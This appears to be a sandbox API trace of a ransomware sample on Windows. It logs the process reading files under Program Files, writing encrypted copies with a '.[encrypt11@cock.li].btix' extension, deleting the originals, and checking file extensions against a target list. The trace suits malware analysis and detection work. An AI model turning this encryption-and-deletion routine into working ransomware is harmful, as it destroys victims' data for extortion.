1 [0156.328] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.328] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xfc, lpOverlapped=0x0) returned 1 [0156.328] SetEndOfFile (hFile=0x390) returned 1 [0156.328] CloseHandle (hObject=0x390) returned 1 [0156.328] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.328] SetEndOfFile (hFile=0x38c) returned 1 [0156.329] CloseHandle (hObject=0x38c) returned 1 [0156.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0156.329] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 1 [0156.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0156.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0156.329] lstrlenW (lpString=".doc") returned 4 [0156.329] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0156.329] lstrlenW (lpString=".docx") returned 5 [0156.330] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0156.330] lstrlenW (lpString=".pdf") returned 4 [0156.330] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0156.330] lstrlenW (lpString=".xls") returned 4 [0156.330] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0156.330] lstrlenW (lpString=".xlsx") returned 5 [0156.330] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0156.330] lstrlenW (lpString=".ppt") returned 4 [0156.330] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0156.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0156.330] lstrlenW (lpString=".zip") returned 4 [0156.330] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0156.330] lstrlenW (lpString=".rar") returned 4 [0156.330] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0156.330] lstrlenW (lpString=".bz2") returned 4 [0156.330] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0156.330] lstrlenW (lpString=".7z") returned 3 [0156.330] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0156.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0156.330] lstrlenW (lpString=".dbf") returned 4 [0156.330] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0156.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0156.330] lstrlenW (lpString=".1cd") returned 4 [0156.330] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0156.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0156.330] lstrlenW (lpString=".jpg") returned 4 [0156.330] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0156.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0156.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0156.330] lstrlenW (lpString=".doc") returned 4 [0156.331] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0156.331] lstrlenW (lpString=".docx") returned 5 [0156.331] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0156.331] lstrlenW (lpString=".pdf") returned 4 [0156.331] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0156.331] lstrlenW (lpString=".xls") returned 4 [0156.331] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0156.331] lstrlenW (lpString=".xlsx") returned 5 [0156.331] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0156.331] lstrlenW (lpString=".ppt") returned 4 [0156.331] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0156.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0156.331] lstrlenW (lpString=".zip") returned 4 [0156.331] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0156.331] lstrlenW (lpString=".rar") returned 4 [0156.331] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0156.331] lstrlenW (lpString=".bz2") returned 4 [0156.331] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0156.331] lstrlenW (lpString=".7z") returned 3 [0156.331] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0156.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0156.331] lstrlenW (lpString=".dbf") returned 4 [0156.331] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0156.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0156.331] lstrlenW (lpString=".1cd") returned 4 [0156.331] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0156.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0156.331] lstrlenW (lpString=".jpg") returned 4 [0156.331] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0156.332] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0156.332] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0156.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe" (normalized: "c:\\program files\\microsoft office\\movers_indication_wage.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0156.332] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=75776) returned 1 [0156.332] CloseHandle (hObject=0x38c) returned 1 [0156.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe" (normalized: "c:\\program files\\microsoft office\\movers_indication_wage.exe")) returned 0x20 [0156.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\movers_indication_wage.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe" (normalized: "c:\\program files\\microsoft office\\movers_indication_wage.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0156.332] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.332] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\movers_indication_wage.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0156.333] GetLastError () returned 0x0 [0156.333] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x12800, lpOverlapped=0x0) returned 1 [0156.336] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x12810, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x12810, lpOverlapped=0x0) returned 1 [0156.338] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.338] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x108, lpOverlapped=0x0) returned 1 [0156.338] SetEndOfFile (hFile=0x390) returned 1 [0156.338] CloseHandle (hObject=0x390) returned 1 [0156.338] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.338] SetEndOfFile (hFile=0x38c) returned 1 [0156.339] CloseHandle (hObject=0x38c) returned 1 [0156.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0156.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe" (normalized: "c:\\program files\\microsoft office\\movers_indication_wage.exe")) returned 1 [0156.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0156.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0156.340] lstrlenW (lpString=".doc") returned 4 [0156.340] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0156.340] lstrlenW (lpString=".docx") returned 5 [0156.340] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0156.340] lstrlenW (lpString=".pdf") returned 4 [0156.340] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0156.340] lstrlenW (lpString=".xls") returned 4 [0156.340] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0156.340] lstrlenW (lpString=".xlsx") returned 5 [0156.340] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0156.340] lstrlenW (lpString=".ppt") returned 4 [0156.340] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0156.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0156.340] lstrlenW (lpString=".zip") returned 4 [0156.340] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0156.340] lstrlenW (lpString=".rar") returned 4 [0156.340] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0156.340] lstrlenW (lpString=".bz2") returned 4 [0156.341] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0156.341] lstrlenW (lpString=".7z") returned 3 [0156.341] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0156.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0156.341] lstrlenW (lpString=".dbf") returned 4 [0156.341] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0156.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0156.341] lstrlenW (lpString=".1cd") returned 4 [0156.341] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0156.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0156.341] lstrlenW (lpString=".jpg") returned 4 [0156.341] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0156.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0156.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0156.341] lstrlenW (lpString=".doc") returned 4 [0156.341] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0156.341] lstrlenW (lpString=".docx") returned 5 [0156.341] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0156.341] lstrlenW (lpString=".pdf") returned 4 [0156.341] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0156.341] lstrlenW (lpString=".xls") returned 4 [0156.341] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0156.341] lstrlenW (lpString=".xlsx") returned 5 [0156.341] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0156.341] lstrlenW (lpString=".ppt") returned 4 [0156.341] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0156.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0156.341] lstrlenW (lpString=".zip") returned 4 [0156.341] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0156.342] lstrlenW (lpString=".rar") returned 4 [0156.342] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0156.342] lstrlenW (lpString=".bz2") returned 4 [0156.342] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0156.342] lstrlenW (lpString=".7z") returned 3 [0156.342] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0156.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0156.342] lstrlenW (lpString=".dbf") returned 4 [0156.342] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0156.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0156.342] lstrlenW (lpString=".1cd") returned 4 [0156.342] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0156.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\movers_indication_wage.exe") returned 60 [0156.342] lstrlenW (lpString=".jpg") returned 4 [0156.342] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0156.342] lstrcmpiW (lpString1=".EXE", lpString2=".btix") returned 1 [0156.342] lstrlenW (lpString="OSPPREARM.EXE") returned 13 [0156.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0156.343] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=27200) returned 1 [0156.343] CloseHandle (hObject=0x38c) returned 1 [0156.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20 [0156.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0156.343] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.343] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0156.344] GetLastError () returned 0x0 [0156.344] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x6a40, lpOverlapped=0x0) returned 1 [0156.349] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x6a50, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x6a50, lpOverlapped=0x0) returned 1 [0156.351] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.351] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xee, lpOverlapped=0x0) returned 1 [0156.351] SetEndOfFile (hFile=0x390) returned 1 [0156.351] CloseHandle (hObject=0x390) returned 1 [0156.351] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.351] SetEndOfFile (hFile=0x38c) returned 1 [0156.352] CloseHandle (hObject=0x38c) returned 1 [0156.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0156.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 1 [0156.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0156.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0156.353] lstrlenW (lpString=".doc") returned 4 [0156.353] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0156.353] lstrlenW (lpString=".docx") returned 5 [0156.353] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0156.353] lstrlenW (lpString=".pdf") returned 4 [0156.353] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0156.353] lstrlenW (lpString=".xls") returned 4 [0156.353] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0156.353] lstrlenW (lpString=".xlsx") returned 5 [0156.353] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0156.353] lstrlenW (lpString=".ppt") returned 4 [0156.353] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0156.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0156.353] lstrlenW (lpString=".zip") returned 4 [0156.353] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0156.353] lstrlenW (lpString=".rar") returned 4 [0156.353] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0156.354] lstrlenW (lpString=".bz2") returned 4 [0156.354] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0156.354] lstrlenW (lpString=".7z") returned 3 [0156.354] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0156.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0156.354] lstrlenW (lpString=".dbf") returned 4 [0156.354] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0156.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0156.354] lstrlenW (lpString=".1cd") returned 4 [0156.354] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0156.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0156.354] lstrlenW (lpString=".jpg") returned 4 [0156.354] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0156.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0156.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0156.354] lstrlenW (lpString=".doc") returned 4 [0156.354] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0156.354] lstrlenW (lpString=".docx") returned 5 [0156.354] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0156.354] lstrlenW (lpString=".pdf") returned 4 [0156.354] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0156.354] lstrlenW (lpString=".xls") returned 4 [0156.354] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0156.354] lstrlenW (lpString=".xlsx") returned 5 [0156.354] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0156.354] lstrlenW (lpString=".ppt") returned 4 [0156.354] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0156.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0156.354] lstrlenW (lpString=".zip") returned 4 [0156.354] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0156.355] lstrlenW (lpString=".rar") returned 4 [0156.355] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0156.355] lstrlenW (lpString=".bz2") returned 4 [0156.355] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0156.355] lstrlenW (lpString=".7z") returned 3 [0156.355] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0156.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0156.355] lstrlenW (lpString=".dbf") returned 4 [0156.355] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0156.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0156.355] lstrlenW (lpString=".1cd") returned 4 [0156.355] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0156.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0156.355] lstrlenW (lpString=".jpg") returned 4 [0156.355] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0156.355] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.355] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0156.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0156.357] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=18624) returned 1 [0156.357] CloseHandle (hObject=0x38c) returned 1 [0156.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0156.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0156.357] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.357] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0156.358] GetLastError () returned 0x0 [0156.358] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x48c0, lpOverlapped=0x0) returned 1 [0156.360] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x48d0, lpOverlapped=0x0) returned 1 [0156.361] ReadFile (in: hFile=0x38c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.361] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x112, lpOverlapped=0x0) returned 1 [0156.361] SetEndOfFile (hFile=0x390) returned 1 [0156.361] CloseHandle (hObject=0x390) returned 1 [0156.361] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.361] SetEndOfFile (hFile=0x38c) returned 1 [0156.362] CloseHandle (hObject=0x38c) returned 1 [0156.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 1 [0156.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0156.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0156.363] lstrlenW (lpString=".doc") returned 4 [0156.363] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.363] lstrlenW (lpString=".docx") returned 5 [0156.363] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.363] lstrlenW (lpString=".pdf") returned 4 